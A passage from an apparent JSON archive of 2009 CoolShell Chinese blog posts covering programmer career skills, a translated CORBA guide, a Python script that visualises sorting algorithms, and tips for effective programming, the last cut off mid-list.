    "path": "blogs/rss2html/2009-4-14 未来五年程序员需要掌握的10项技能.html",
    "content": "<html><body><p>由于最近经济形势的变化，很多开发人员只关注他们短期的工作前景。与此同时，把时间和精力花在学习最能带来回报的新技术上是件非常重要的事情。这里是我们列举的10种你需要马上开始学习的技术，让你的简历在未来5年不会落伍。这个列表并不完全，有很多业界的领域（比如大型机开发人员）没有涉及。尽管如此，对通常的主流开发来说，学习其中至少7项技能肯定不会错 ——不但要达到能在面试时侃侃而谈的程度，还得能在工作中运用自如。</p>\n<p><strong>1) 编程语言三选一 (.NET, Java, PHP)</strong><br/>\n除非开发世界有根本的改变（类似小行星击中雷德蒙），在不远的将来，大部分开发人员将需要了解三大开发平台——.NET (VB.NET或者C#), Java, 或者PHP——中的至少一个。并且只了解核心语言也是不够的。因为项目会包含越来越多不同的功能，你需要对相关框架和库有深入的了解。（本人以为C/C++可能比这三个语言更有竞争力）</p>\n<p><span id=\"more-511\"></span></p>\n<p><strong>2) 互联网Rich Application (RIAs)</strong><br/>\n不管爱她还是恨她，最近几年，Flash的用途突然间不仅仅是制作政治人物弱智歌曲演唱动画而已了。Flash也萌生出了以Flex和AIR为形式的附加功能。Flash的竞争对手，比如JavaFx和Silverlight，也在不停的在特性和性能上加筹码。HTML5集成了所有RIA的功能，包括数据库连接，而W3C正式地贴上了AJAX的标签。在不久的将来，RIA专家将会是简历的一个重要筛选条件。</p>\n<p><strong>3) Web开发</strong><br/>\nWeb开发在近期内不会消失。很多开发人员满足于忽略Web或者只是使用他们的框架给他们提供的”基本元素”。但是公司需要越来越多的真正知道怎样使用底层技术进行“手工编码”的人。所以要获得成功请在未来5年里努力钻研JavaScript，CSS和HTML。</p>\n<p><strong>4) Web服务</strong><br/>\nREST或者SOAP？JSON或者XML？ 尽管选项和答案取决于项目本身，不使用或者创建Web服务对一个开发人员（甚至是那些不做Web应用程序的）来说越来越困难。那些原来采用ODBC，COM或者RPC domains的领域，现在也在某种程度上过渡到了Web服务。不会用Web服务的开发人员将会发现他们被排挤或者沦为维护人员。</p>\n<p><strong>5) 其它软实力</strong><br/>\n有一种已经开始了很久的趋势，IT在企业内部或者外部变得越来越透明。开发人员被卷入越来越多的非开发性会议和过程以给与反馈。举个例子，CFO要改变会计规则不能不依靠IT去更新系统。如果没有IT去升级CRM的工作流，运营经理就不能更改呼叫中心的流程。同样的，客户常常需要和开发小组一起工作来保证他们的需求被满足。每一个开发人员都需要找主持人帮助或者去学习《怎样结交朋友并影响别人》么？不是。但是拥有这种能力的开发人员对他们的雇主来说更有价值——并且更抢手。</p>\n<p><strong>6) 掌握一门动态的和/或一门函数编程语言<br/>\n</strong>像Ruby，Python, F#, 和Groovy这样的语言并不很主流——但是他们包含的想法却是。比如说，微软的.NET中的LINO系统是函数编程技术的直接产物。Ruby和Python在某些部门很热门，分别感谢Rails框架和Silverlight。学习其中的一门语言不只会提升你的简历；它能开阔你的视野。我见过的每一个顶级开发人员都推荐学习至少一种动态或者函数编程语言，用来理解新的思考方式，个人经验来讲，我可以告诉你确实有用。</p>\n<p><strong>7）敏捷开发方法</strong><br/>\n在敏捷开发方法刚开始进入主流视线的时候，我持怀疑态度，和其他我认识的很多家伙一样。它看起来就像某种对传统的下意识反应，丢掉控制和标准而偏爱混乱。但是随着时间的推移，敏捷开发背后的智慧被更好的定义和表达出来。很多团队不是应用了敏捷开发就是在进行敏捷开发的概念证明实验。尽管敏捷开发不是治愈项目失败的终极灵药，它的确在很多项目上有一席之地。在未来几年里，对有着敏捷开发环境的理解和成功经验的开发人员的需求将会高速增涨。</p>\n<p><strong>8) 相关领域知识</strong><br/>\n和敏捷开发密切关联，开发小组在项目定义中被越来越多的看做是同伴。这意味着了解问题领域的开发人员能够用更可见的，高价值的方式给项目作出贡献。敏捷开发中，一个能够说，“从这里，我们也可以很简单的添加这项功能，而且这能给我们带来很多回报，” 或者 “噢，这个要求和我们的日志中显示的使用模式并不相符” 的人将是优胜者。正如许多开发人员有抵制了解问题领域的想法，不可否认的是越来越多的组织希望（如果不是要求）开发人员至少能理解基本的内容。</p>\n<p><strong>9) 开发修养</strong><br/>\n几年之前，很多（如果不是大部分）团队都没有使用bug跟踪系统，版本控制，和其他类似工具；只有开发人员和他们选择的IDE。但是，感谢新的整合套件的开发，比如Microsoft Visual Studio Team System以及高质量开源环境的爆炸性发展，没用到这些工具的组织变得更不常见。开发人员必须比知道怎么在代码控制中提交和获得代码或者怎样用VM系统配置测试环境了解更多的东西。他们需要在适当的地方养成严格的卫生习惯以保证他们和其他的小组恰当的合作。“代码牛仔”，把所有的东西存放在私人USB盘上，不把对任务对象的相应改变记录成文档，等等的人，在传统的团队里不受欢迎，在需要团队成员之间紧密合作的敏捷开发环境中更是如此。</p>\n<p><strong>10) 移动无线开发</strong><br/>\n上世纪90年末代web开发被主流接受开始在很多领域将传统的桌面程序边缘化，在2008年，移动无线开发开始兴起，在未来5年里，它将会变得越来越重要。当然，移动开发有很多不同的方法：针对移动设备的web应用程序开发，针对市场的RIAs，和直接在设备上运行的应用程序。不管你选择了哪个方向，把移动开发加入你的技能集会保证你满足未来的需求。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/511.html\">未来五年程序员需要掌握的10项技能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-14 深入浅出CORBA.html",
    "content": "<html><body><p>这个是一本关于CORBA技术的中文文档，原文是<span class=\"a\"><span lang=\"EN-US\"><a href=\"http://www.ciaranmchale.com/\"><span style=\"font-family: Courier New;\"><span style=\"font-size: small;\">Ciaran McHale</span></span></a></span></span>《CORBA Explained Simply》，我将其翻译成中文形式，并首发在<a href=\"https://coolshell.cn\">酷壳</a>之上，现在先提供一个PDF的文件形式下载，关于html形式的下载或在线阅读形式以后再慢慢整理。CORBA有可能是一门将要过时的技术，但是它的思想却仍然被当今一些流行的分布式架构所借鉴。所以通过学习CORBA，也许我们可以更好的去理解EJB，去理解Web Service，或者SOA……</p>\n<p><span id=\"more-514\"></span></p>\n<blockquote>\n<p class=\"1\" style=\"margin: 17pt 0cm 16.5pt;\"><span><strong><span style=\"font-size: x-large;\">译序</span></strong></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span><span style=\"font-family: Courier New;\"> </span></span></span><span>从</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">wiki</span></span><span>上找到此书的链接，初读之下，感觉此文讲解的非常清楚，大量丰富的图例说明，于是就有了将此书翻译成中文的冲动。至于书名本应该是《简单地解释</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">CORBA</span></span><span>概念》，但是最后还是起了一个比较容易吸引人眼球的标题。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span><span style=\"font-family: Courier New;\"> </span></span></span><span>本书原文行文非常流畅，用词也相当通俗易懂，建议有英文基础的同行直接阅读原文。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span><span style=\"font-family: Courier New;\"> </span></span></span><span>本书第二十三章的内容，涉及到安全的一些概念和术语，翻译也相对比较困难，我虽然给它翻完，但是最后还是不敢发布出来，因为此章需要对安全相关知识要有全面的理解，最后我将此章翻译的内容省略。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span><span style=\"font-family: Courier New;\"> </span></span></span><span>在翻译过程，有一些特殊的名词采用意译的方式，比如</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">IDL</span></span><span>的</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">seqence</span></span><span>类型，被翻译为可变数组，</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">Servent</span></span><span>被翻译服务提供者，而在</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">IOR</span></span><span>中的</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">Contact Detail</span></span><span>我统一翻译为联系细节等等，请读者在阅读时特别注意。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span><span style=\"font-family: Courier New;\"> </span></span></span><span>由于译者的水平有限，书中难免有翻译错误的地方，译者并不会对因为这错误造成的损失负责。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span><span style=\"font-family: Courier New;\"> </span></span></span><span>本书原版的版权归</span><span class=\"a\"><span lang=\"EN-US\"><a href=\"http://www.ciaranmchale.com/\"><span style=\"font-family: Courier New;\">Ciaran McHale</span></a></span></span><span>所有，此版中文版版权归译者和</span><span lang=\"EN-US\"><a href=\"https://coolshell.cn/\"><span lang=\"EN-US\"><span lang=\"EN-US\"><span style=\"color: #800080;\">酷壳</span></span></span></a></span><span>网所有，任何公司或个人可以任意自由转载，发布，部分发布，出版，部分出版本书，但必须保留如下的版权信息</span></span></p>\n<p class=\"a0\" style=\"margin: 0cm 0cm 0pt;\"><span lang=\"EN-US\"><span style=\"background-color: #e6e6e6; font-family: Courier New; font-size: small;\">Copyright © 2009 </span><span lang=\"EN-US\"><span lang=\"EN-US\"><span style=\"background-color: #e6e6e6; font-size: small;\">赵锟</span></span></span></span></p>\n<p class=\"a0\" style=\"margin: 0cm 0cm 0pt;\"><span lang=\"EN-US\"><span style=\"background-color: #e6e6e6; font-family: Courier New; font-size: small;\">Copyright © 2009 </span><a href=\"https://coolshell.cn/\"><span lang=\"EN-US\"><span lang=\"EN-US\"><span style=\"background-color: #e6e6e6; color: #800080; font-size: small;\">酷壳</span></span></span></a></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span><span style=\"font-family: Courier New;\"> </span></span></span><span>感谢我的夫人在翻译过程中给我支持，没有她的鼓励，我无法完成此项工作。同时感谢我</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">9</span></span><span>个月大的小孩，你那可爱和天真无邪的微笑是我工作的动力。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span><span style=\"font-family: Courier New;\"> </span></span></span><span>感谢</span><span lang=\"EN-US\"><a href=\"https://coolshell.cn/\"><span lang=\"EN-US\"><span lang=\"EN-US\"><span style=\"color: #800080;\">酷壳网</span></span></span></a></span><span>的耗子在翻译过程中对我的指导。非常感谢你的帮助。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span><span style=\"font-family: Courier New;\"> </span></span></span><span>在阅读过程中，你什么意见和建议欢迎发邮件至</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">zhaokun.km(a)gmail.com</span> <span>(</span></span><span>请将(a)替换成@)<span>和</span>我进行讨论。</span></span><strong></strong></p>\n</blockquote>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\">PDF文件下载：请点击<a href=\"https://coolshell.cn/wp-content/uploads/2009/04/e6b7b1e585a5e6b585e587bacorba.zip\">这里</a>进行下载</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/656.html\"><img alt=\"Linux 的僵尸(zombie)进程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/656.html\">Linux 的僵尸(zombie)进程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2406.html\"><img alt=\"写HTML和CSS的新方法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2406.html\">写HTML和CSS的新方法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1907.html\"><img alt=\"UI的恶梦\" height=\"150\" src=\"../wp-content/uploads/2009/12/badui2-300x224-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1907.html\">UI的恶梦</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5132.html\"><img alt=\"疯狂的 Web 应用开源项目\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5132.html\">疯狂的 Web 应用开源项目</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3498.html\"><img alt=\"信XML，得自信\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3498.html\">信XML，得自信</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/514.html\">深入浅出CORBA</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-15 一个显示排序过程的Python脚本.html",
    "content": "<html><body><p>之前向大家介绍过《<a class=\"title\" href=\"https://coolshell.cn/articles/399.html\" rel=\"bookmark\">一个排序算法比较的网站</a>》，那个网站用动画演示了各种排序算法，并分析了各种排序算法。这里，要向大家推荐一个Python脚本，其可以把排序的过程给显示出来。</p>\n<p>下图是“<strong>冒泡排序</strong>”的一个示例，其中：</p>\n<ol>\n<li>折线表示了各个元素的位置变化。</li>\n<li>折线的深浅表示了元素的大小。越深则越大。</li>\n</ol>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/bubble.png\"><img alt=\"bubble\" class=\"alignnone size-full wp-image-537\" height=\"225\" src=\"../wp-content/uploads/2009/04/bubble.png\" title=\"bubble\" width=\"700\"/></a></p>\n<p><span id=\"more-536\"></span></p>\n<p>同样，还有其它一些排序算法的图片：</p>\n<p><strong>堆排序（Heap Sort）</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/heap.png\"><img alt=\"heap\" class=\"alignnone size-full wp-image-539\" height=\"225\" src=\"../wp-content/uploads/2009/04/heap.png\" title=\"heap\" width=\"700\"/></a></p>\n<p><strong>选择排序（Selection）</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/selection.png\"><img alt=\"selection\" class=\"alignnone size-full wp-image-542\" height=\"225\" src=\"../wp-content/uploads/2009/04/selection.png\" title=\"selection\" width=\"700\"/></a></p>\n<p><strong>快速排序（Quick）</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/quick.png\"><img alt=\"quick\" class=\"alignnone size-full wp-image-541\" height=\"225\" src=\"../wp-content/uploads/2009/04/quick.png\" title=\"quick\" width=\"700\"/></a></p>\n<p><strong>Shell排序</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/shell.png\"><img alt=\"shell\" class=\"alignnone size-full wp-image-538\" height=\"225\" src=\"../wp-content/uploads/2009/04/shell.png\" title=\"shell\" width=\"700\"/></a></p>\n<p><strong>插入排序（Insertion）</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/listinsertion.png\"><img alt=\"listinsertion\" class=\"alignnone size-full wp-image-540\" height=\"225\" src=\"../wp-content/uploads/2009/04/listinsertion.png\" title=\"listinsertion\" width=\"700\"/></a></p>\n<p>你可以使用如下的Python代码来制作这些图片：（需要 <a href=\"http://cairographics.org/\">Cairo</a>图片库支持）</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/visualise.py\"><strong>Python排序脚本</strong></a></p>\n<p>这个脚本<code>参数如下：</code></p>\n<ul>\n<li><code>-a 表示使用什么样的算法，取值为\"quick\", \"heap\", \"selection\", \"insertion\", \"bubble\", \"shell\"。</code></li>\n<li><code>-n 表示要排序的数据个数。</code></li>\n<li><code>-f 表示输入文件。</code></li>\n<li><code>-p 表示文件前缀。</code></li>\n<li><code>-d 表示输出顺序。</code></li>\n<li><code>-x 图片宽度。</code></li>\n<li><code>-y 图片高度。</code></li>\n<li><code>-l 所有线的宽度。</code></li>\n<li><code>-b 边界宽度。</code></li>\n</ul>\n<p><code>使用示例如下：</code></p>\n<p><code></code></p>\n<p style=\"padding-left: 30px;\"><code>./visualise.py -l 6 -x 700 -y 300 -n 15 </code></p>\n<p></p>\n<p>文章：<a href=\"http://www.hatfulofhollow.com/posts/code/visualisingsorting/index.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3933.html\"><img alt=\"可视化的排序过程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3933.html\">可视化的排序过程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2583.html\"><img alt=\"一些重要的算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2583.html\">一些重要的算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/399.html\"><img alt=\"一个排序算法比较的网站\" height=\"150\" src=\"../wp-content/uploads/2009/04/sort-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/399.html\">一个排序算法比较的网站</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6010.html\"><img alt=\"一些有意思的算法代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4671.html\"><img alt=\"可视化的数据结构和算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4671.html\">可视化的数据结构和算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/536.html\">一个显示排序过程的Python脚本</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-15 有效编程的14件事.html",
    "content": "<html><body><p>下面是14件如何有效编程的方法：</p>\n<ol>\n<li>\n<h4>计划(Plan)</h4>\n<p>所谓Plan，其实就是对应于编程中的“设计”阶段，当然，这里的Plan并不像设计那样重量级。它要求我们程序员在正式编程前至少要考虑一下下面的问题：</p>\n<ul>\n<li>你这个程序，工具或是项目的目的，究竟是用来干什么的。你只有知道做什么，要达到什么样的目的，你才能做得对，做得好。</li>\n<li>需要有什么样的功能。需要你给出来个功能列表。这样可以保证我们不会遗露了什么。</li>\n<li>准备好一些技术难题的前期调查和解决方案。不要等到开始编程的时候才去想。</li>\n</ul>\n<p>下面这你因为有“Plan”而得到的好处：</p>\n<ul>\n<li>你能够清楚地明白你要做的东西长什么样？</li>\n<li>你能清楚知道你要开发的东西要干些什么事？</li>\n<li>你能够在开发过程中解决你所有可能发生的难题。</li>\n</ul>\n</li>\n<p><span id=\"more-546\"></span></p>\n<li>\n<h4>使用伪代码</h4>\n<p>伪代码是一个非常不错的方式，让你可以看到你要写的程序长什么样？根据 <a href=\"http://en.wikipedia.org/wiki/Pseudocode\"><span style=\"color: #84241d;\">维基百科(Wikipedia)</span></a>，伪代码被写定义成这样：</p>\n<blockquote><p>伪代码是一个紧凑和非正式的从高层描述一个计算机编程算法的结构约定。其主要是为了让人阅读而不是让计算机执行。典型的伪代码一般会忽略那些算法中不需要人去关心的细节。比如：变量声明，系统调用，或是子程序。在伪代码中，编程语言被自然的人类语言所增强而放大，从而，更方便，更紧凑。</p></blockquote>\n<p>一些人并不喜欢伪代码，因为他们并不相把同样的代码写两遍，一遍是伪代码，一遍是真代码。其实，这是可以理解的，因为两个copy的东西是比较不好维护的。但是我想，这是可以权衡的，如果的算法很简单，那么就不需要伪代码了，如果你的算法比较复杂，比较绕，那么，有一个伪代码提纲挈领将会是一件非常不错的事情，因为他有利于让别人从一个简单的文档来了解一个复杂的算法或系统。这就好像一个电线的布线图一样，你可以很容易地通过一个简单的文档从复杂的实现中找到头绪。</p></li>\n<li>\n<h4>书写清楚的注释</h4>\n<p>请在你的代码中书写清楚的程序注释。当然，注释不是越多越好，注释应该是简明扼要的，如果你的程序足够地清楚简单，那么注释就会显的多余。另外，注释应该是注释“原因，理由，目的”，而不是注释“是什么”，在“<a href=\"https://coolshell.cn\" target=\"_blank\">酷壳</a>”的另一篇文章《<a href=\"https://coolshell.cn/articles/340.html\" rel=\"bookmark\">惹恼程序员的十件事</a>》中，有一条就是关于坏的注释是多么的另个讨厌。</p></li>\n<li>\n<h4>使用自动的编辑工具</h4>\n<p>自动的编辑工具有很多，比如 <a href=\"http://www.macility.com/products/typinator/\"><span style=\"color: #84241d;\">Typinator</span></a>，这是一个可以通过设定一些替代的简单代码来实现重复语句的快捷插入，比如你自己的签名、常用的语句等等，通过它可以设定替代的简短代码。还有其它一些代码自动完成的工具，比如一些VC的插件，还有像Source Insight这样的东西。别小看这一点点时间，如果你每天都在写代码的话，今天一点点，明天一点点，将会为你省出很多的时间。</p></li>\n<li>\n<h4>减少代码</h4>\n<p>减少代码的数量，坚持DRY（<span style=\"font-size: x-small;\">Don’t Repeat Yourself</span>） 和KISS（Keep It Simple &amp; Stupid） 原则。这样可以有交物减少代码的复杂度，提高程序的易读性和可维护性，同时也能增加代码的质量。</p></li>\n<li>\n<h4>代码重用</h4>\n<p>DRY (don’t repeat yourself) 原则就是告诉我们需要重用现有的代码。这样，你才能够站在巨人的肩膀之上，从而可以更多的关注和自己所要处理业务的逻辑。编程的最高境界就是写出来的代码是可能被重用的，重用和泛型这是编程里始终在追求的目标。</p></li>\n<li>\n<h4>代码重构</h4>\n<p>一些老的代码可能已经不合时宜了，比较以前老的C++的STL库在多线程下可能会出现很多问题。所以，我们自己的代码也是一样的，每过一段时间，我们需要把这些代码回收再利用，这就是软件的重构。重构代码所追求的并不是要提供更多的功能，而是让老的代码更有生命力，让老的代码跟上时代，更具扩展性，灵活性。</p></li>\n<li>\n<h4>使用设计模式</h4>\n<p>设计模式是一种从代码级解决某一些问题的方法论。这个世界上有很多很多的设计模式，比如MVC，单实例，工厂，观察者等等，等等。使用好的设计模式可以让你的代码更具重用和扩展性。关于设计模式，请参看本站的另一篇文章《<a href=\"https://coolshell.cn/articles/21.html\" rel=\"bookmark\">101个设计模式</a>》</p></li>\n<li>\n<h4>使用程序框架Framework</h4>\n<p>Frameworks 